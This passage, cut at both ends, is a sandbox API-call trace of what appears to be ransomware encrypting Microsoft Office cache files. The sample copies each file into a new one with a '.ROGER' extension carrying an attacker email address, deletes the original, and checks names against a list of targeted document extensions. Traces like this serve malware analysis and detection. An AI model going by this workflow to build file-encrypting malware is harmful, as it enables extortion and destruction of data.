liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.496] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.496] GetLastError () returned 0x0 [0046.496] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0046.517] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0046.533] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.533] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0046.533] SetEndOfFile (hFile=0x358) returned 1 [0046.534] CloseHandle (hObject=0x358) returned 1 [0046.534] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.534] SetEndOfFile (hFile=0x340) returned 1 [0046.900] CloseHandle (hObject=0x340) returned 1 [0046.901] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.901] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0046.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.901] lstrlenW (lpString=".doc") returned 4 [0046.901] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0046.901] lstrlenW (lpString=".docx") returned 5 [0046.901] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0046.901] lstrlenW (lpString=".pdf") returned 4 [0046.901] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0046.901] lstrlenW (lpString=".xls") returned 4 [0046.902] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0046.902] lstrlenW (lpString=".xlsx") returned 5 [0046.902] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0046.902] lstrlenW (lpString=".ppt") returned 4 [0046.902] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0046.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.902] lstrlenW (lpString=".zip") returned 4 [0046.902] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0046.902] lstrlenW (lpString=".rar") returned 4 [0046.902] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0046.902] lstrlenW (lpString=".bz2") returned 4 [0046.902] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0046.902] lstrlenW (lpString=".7z") returned 3 [0046.902] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0046.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.902] lstrlenW (lpString=".dbf") returned 4 [0046.902] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0046.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.902] lstrlenW (lpString=".1cd") returned 4 [0046.902] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0046.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.902] lstrlenW (lpString=".jpg") returned 4 [0046.902] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0046.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.902] lstrlenW (lpString=".doc") returned 4 [0046.902] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0046.902] lstrlenW (lpString=".docx") returned 5 [0046.902] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0046.902] lstrlenW (lpString=".pdf") returned 4 [0046.902] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0046.903] lstrlenW (lpString=".xls") returned 4 [0046.903] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0046.903] lstrlenW (lpString=".xlsx") returned 5 [0046.903] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0046.903] lstrlenW (lpString=".ppt") returned 4 [0046.903] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0046.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.903] lstrlenW (lpString=".zip") returned 4 [0046.903] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0046.903] lstrlenW (lpString=".rar") returned 4 [0046.903] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0046.903] lstrlenW (lpString=".bz2") returned 4 [0046.903] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0046.903] lstrlenW (lpString=".7z") returned 3 [0046.903] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0046.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.903] lstrlenW (lpString=".dbf") returned 4 [0046.903] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0046.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.903] lstrlenW (lpString=".1cd") returned 4 [0046.903] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0046.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0046.903] lstrlenW (lpString=".jpg") returned 4 [0046.903] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0046.903] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0046.903] lstrlenW (lpString="osetupui.dll") returned 12 [0046.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.904] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=191872) returned 1 [0046.904] CloseHandle (hObject=0x340) returned 1 [0046.904] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0046.904] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.904] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.904] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0046.905] GetLastError () returned 0x0 [0046.905] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0046.909] WriteFile (in: hFile=0x3ac, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0046.912] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.912] WriteFile (in: hFile=0x3ac, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.912] SetEndOfFile (hFile=0x3ac) returned 1 [0046.912] CloseHandle (hObject=0x3ac) returned 1 [0046.912] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.912] SetEndOfFile (hFile=0x340) returned 1 [0046.914] CloseHandle (hObject=0x340) returned 1 [0046.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.914] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0046.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.915] lstrlenW (lpString=".doc") returned 4 [0046.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.915] lstrlenW (lpString=".docx") returned 5 [0046.915] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0046.915] lstrlenW (lpString=".pdf") returned 4 [0046.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.915] lstrlenW (lpString=".xls") returned 4 [0046.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.915] lstrlenW (lpString=".xlsx") returned 5 [0046.915] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0046.915] lstrlenW (lpString=".ppt") returned 4 [0046.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.915] lstrlenW (lpString=".zip") returned 4 [0046.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.915] lstrlenW (lpString=".rar") returned 4 [0046.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.915] lstrlenW (lpString=".bz2") returned 4 [0046.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.915] lstrlenW (lpString=".7z") returned 3 [0046.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.915] lstrlenW (lpString=".dbf") returned 4 [0046.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.915] lstrlenW (lpString=".1cd") returned 4 [0046.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.916] lstrlenW (lpString=".jpg") returned 4 [0046.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.916] lstrlenW (lpString=".doc") returned 4 [0046.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.916] lstrlenW (lpString=".docx") returned 5 [0046.916] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0046.916] lstrlenW (lpString=".pdf") returned 4 [0046.916] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.916] lstrlenW (lpString=".xls") returned 4 [0046.916] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.916] lstrlenW (lpString=".xlsx") returned 5 [0046.916] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0046.916] lstrlenW (lpString=".ppt") returned 4 [0046.916] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.916] lstrlenW (lpString=".zip") returned 4 [0046.916] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.916] lstrlenW (lpString=".rar") returned 4 [0046.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.916] lstrlenW (lpString=".bz2") returned 4 [0046.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.916] lstrlenW (lpString=".7z") returned 3 [0046.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.916] lstrlenW (lpString=".dbf") returned 4 [0046.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.917] lstrlenW (lpString=".1cd") returned 4 [0046.917] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0046.917] lstrlenW (lpString=".jpg") returned 4 [0046.917] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.917] lstrcmpiW (lpString1=".MST", lpString2=".ROGER") returned -1 [0046.917] lstrlenW (lpString="ShellUI.MST") returned 11 [0046.917] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.917] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=3584) returned 1 [0046.917] CloseHandle (hObject=0x340) returned 1 [0046.917] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0046.917] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.917] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.918] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.918] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0046.918] GetLastError () returned 0x0 [0046.918] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xe00, lpOverlapped=0x0) returned 1 [0046.919] WriteFile (in: hFile=0x3ac, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0046.920] ReadFile (in: hFile=0x340, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.920] WriteFile (in: hFile=0x3ac, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.920] SetEndOfFile (hFile=0x3ac) returned 1 [0046.920] CloseHandle (hObject=0x3ac) returned 1 [0046.920] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.921] SetEndOfFile (hFile=0x340) returned 1 [0046.921] CloseHandle (hObject=0x340) returned 1 [0046.921] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.922] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0046.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.922] lstrlenW (lpString=".doc") returned 4 [0046.922] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0046.922] lstrlenW (lpString=".docx") returned 5 [0046.922] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0046.922] lstrlenW (lpString=".pdf") returned 4 [0046.922] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0046.922] lstrlenW (lpString=".xls") returned 4 [0046.922] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0046.922] lstrlenW (lpString=".xlsx") returned 5 [0046.922] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0046.922] lstrlenW (lpString=".ppt") returned 4 [0046.922] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0046.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.922] lstrlenW (lpString=".zip") returned 4 [0046.922] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0046.922] lstrlenW (lpString=".rar") returned 4 [0046.922] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0046.922] lstrlenW (lpString=".bz2") returned 4 [0046.922] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0046.922] lstrlenW (lpString=".7z") returned 3 [0046.922] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0046.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.922] lstrlenW (lpString=".dbf") returned 4 [0046.922] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0046.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.923] lstrlenW (lpString=".1cd") returned 4 [0046.923] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0046.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.923] lstrlenW (lpString=".jpg") returned 4 [0046.923] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0046.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.923] lstrlenW (lpString=".doc") returned 4 [0046.923] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0046.923] lstrlenW (lpString=".docx") returned 5 [0046.923] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0046.923] lstrlenW (lpString=".pdf") returned 4 [0046.923] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0046.923] lstrlenW (lpString=".xls") returned 4 [0046.923] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0046.923] lstrlenW (lpString=".xlsx") returned 5 [0046.923] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0046.923] lstrlenW (lpString=".ppt") returned 4 [0046.923] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0046.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.923] lstrlenW (lpString=".zip") returned 4 [0046.923] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0046.923] lstrlenW (lpString=".rar") returned 4 [0046.923] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0046.923] lstrlenW (lpString=".bz2") returned 4 [0046.923] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0046.923] lstrlenW (lpString=".7z") returned 3 [0046.923] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0046.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.923] lstrlenW (lpString=".dbf") returned 4 [0046.924] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0046.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.924] lstrlenW (lpString=".1cd") returned 4 [0046.924] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0046.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0046.924] lstrlenW (lpString=".jpg") returned 4 [0046.924] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0046.924] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0046.924] lstrlenW (lpString="AccessMUI.msi") returned 13 [0046.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.925] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=2517504) returned 1 [0046.925] CloseHandle (hObject=0x340) returned 1 [0046.925] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0046.925] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.925] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all 